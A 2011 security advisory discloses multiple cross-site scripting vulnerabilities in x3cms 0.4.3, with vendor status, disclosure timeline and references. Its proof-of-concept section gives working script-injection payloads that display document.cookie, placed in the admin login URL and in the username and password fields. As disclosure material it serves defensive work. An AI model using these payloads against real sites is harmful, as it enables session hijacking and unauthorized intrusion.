Advisory:    Multiple Cross-Site-Scripting vulnerabilities in x3cms
Advisory ID:    INFOSERVE-ADV2011-04
Author:      Stefan Schurtz
Contact:    security@infoserve.de
Affected Software:  Successfully tested on x3cms 0.4.3 other versions may also be affected
Vendor URL:    http://www.x3cms.net/
Vendor Status:    Partial Fix
Secunia-ID:    SA46748

==========================
Vulnerability Description
==========================

x3cms 0.4.3 is prone to multiple XSS vulnerability

==================
PoC-Exploit
==================

tested on IE8

http://<target>/x3cms-0.4.3-STABLE/admin/login?'"</script><script>alert(document.cookie)</script>

tested IE8 / FF 3.6.23

http://<target>/x3cms-0.4.3-STABLE/admin/login -> 'Username' field -> '"</script><script>alert(document.cookie)</script>
http://<target>/x3cms-0.4.3-STABLE/admin/login -> 'Password' field -> '"</script><script>alert(document.cookie)</script>

=========
Solution:
=========

Partial Fix in Version 0.4.3.1

====================
Disclosure Timeline:
====================

08-Nov-2011 - Secunia SVCRP (vuln@secunia.com)
11-Jan-2012 - release date of this security advisory

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Credits:
========

Vulnerabilities found and advisory written by the INFOSERVE Security Team

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References:
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http://secunia.com/advisories/46748/
http://x3cms.bzr.sourceforge.net/bzr/x3cms/revision/977
http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-04.txt